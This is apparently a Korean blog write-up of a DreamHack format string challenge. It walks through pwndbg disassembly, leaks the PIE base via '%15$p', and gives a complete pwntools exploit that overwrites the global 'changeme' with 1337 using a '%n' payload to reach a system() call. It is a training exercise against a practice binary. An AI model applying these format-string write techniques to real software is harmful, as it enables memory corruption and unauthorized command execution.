Best of Best

[DreamHack] Format string bug

pental 2024. 7. 11. 19:33

pwndbg> disass main
Dump of assembler code for function main:
   0x0000000000001293 <+0>:     endbr64
   0x0000000000001297 <+4>:     push   rbp
   0x0000000000001298 <+5>:     mov    rbp,rsp
   0x000000000000129b <+8>:     sub    rsp,0x30
   0x000000000000129f <+12>:    mov    rax,QWORD PTR fs:0x28
   0x00000000000012a8 <+21>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000000012ac <+25>:    xor    eax,eax
   0x00000000000012ae <+27>:    mov    rax,QWORD PTR [rip+0x2d5b]        # 0x4010 <stdout@GLIBC_2.2.5>
   0x00000000000012b5 <+34>:    mov    esi,0x0
   0x00000000000012ba <+39>:    mov    rdi,rax
   0x00000000000012bd <+42>:    call   0x10c0 <setbuf@plt>
   0x00000000000012c2 <+47>:    lea    rax,[rbp-0x30]
   0x00000000000012c6 <+51>:    mov    esi,0x20
   0x00000000000012cb <+56>:    mov    rdi,rax
   0x00000000000012ce <+59>:    call   0x1209 <get_string>
   0x00000000000012d3 <+64>:    lea    rax,[rbp-0x30]
   0x00000000000012d7 <+68>:    mov    rdi,rax
   0x00000000000012da <+71>:    mov    eax,0x0
   0x00000000000012df <+76>:    call   0x10e0 <printf@plt>
   0x00000000000012e4 <+81>:    lea    rax,[rip+0xd1e]        # 0x2009
   0x00000000000012eb <+88>:    mov    rdi,rax
   0x00000000000012ee <+91>:    call   0x10b0 <puts@plt>
   0x00000000000012f3 <+96>:    mov    eax,DWORD PTR [rip+0x2d23]        # 0x401c <changeme>
   0x00000000000012f9 <+102>:   cmp    eax,0x539
   0x00000000000012fe <+107>:   jne    0x12c2 <main+47>
   0x0000000000001300 <+109>:   lea    rax,[rip+0xd03]        # 0x200a
   0x0000000000001307 <+116>:   mov    rdi,rax
   0x000000000000130a <+119>:   call   0x10d0 <system@plt>
   0x000000000000130f <+124>:   jmp    0x12c2 <main+47>
End of assembler dump.

1. PIE base 구하기

2. changeme의 주소를 구해서 해당 값을 1337로 변환하는게 중요한 익스다

main을 디스어셈하고, changeme를 비교하는 부분에 bp를 건다.

pwndbg> b *main+102
Breakpoint 1 at 0x12f9

여기서 눈여겨 봐야하는 곳은 바로 여기

0x00000000000012d3 <+64>:    lea    rax,[rbp-0x30]
pwndbg> x/10gx $rbp-0x30
0x7fffffffdff0: 0x6161616161616161      0x6161616161616161
0x7fffffffe000: 0x0000006161616161      0x0000000000000064
0x7fffffffe010: 0x0000000000001000      0xe85b6059463f6900
0x7fffffffe020: 0x0000000000000001      0x00007ffff7db3d90
0x7fffffffe030: 0x0000000000000000      0x0000555555555293

$rbp - 0x30 까지의 영역을 보면 마지막 주소값은 0x555555555293 이다.

pwndbg> x/i 0x0000555555555293
   0x555555555293 <main>:       endbr64

buf에서 10번째인 0x00005555555555293은 %15p는 main함수의 첫번째 주소를 나타내고 있다.

endbr64가 disass main의 1번쨰 값에서 나타나는것을 확인 할 수 있다.

pwndbg> x/i 0x0000555555555293
   0x555555555293 <main>:       endbr64
pwndbg> disass main
Dump of assembler code for function main:
   0x0000555555555293 <+0>:     endbr64
   0x0000555555555297 <+4>:     push   rbp

바이너리에서 확인하면 주소값을 확인 할 수 있다.

pental@WIN-SG87KIK44M3:/mnt/c/Users/penta/Desktop/dreamhack/Format_String_Bug/ef74424e-91f6-4406-995d-0a41fe1b7db6$ ./fsb_overwrite
%15$p
0x561d8773b293
fstring = b'%15$p'
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
e = ELF('./fsb_overwrite')
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']

changeme의 주소는 위에서 얻은 주소값에서 main함수를 뺀다. 

  1. b'%1337c%8':
    • %1337c: 6바이트
    • %8: 2바이트
    • 총합: 8바이트
  2. b'$nAAAAAA':
    • $n: 2바이트
    • AAAAAA: 6바이트
    • 총합: 8바이트
  3. p64(changeme):
    • p64(changeme)는 64비트 주소를 리틀 엔디안 형식으로 변환한 것이므로 8바이트
  1. b'%1337c%8': 8바이트
  2. b'$nAAAAAA': 8바이트
  3. p64(changeme): 8바이트
from pwn import *
p = process("./fsb_overwrite")
e = ELF("./fsb_overwrite")

fstring = b"%15$p"
p.sendline(fstring)
leaked = int(p.recvline()[:-1], 16)
codebase = leaked - e.symbols['main']
changeme = codebase + e.symbols['changeme']
print(changeme)
fstring = b'%1337c%8' + b'$nAAAAAA' + p64(changeme)
p.send(fstring)
p.interactive()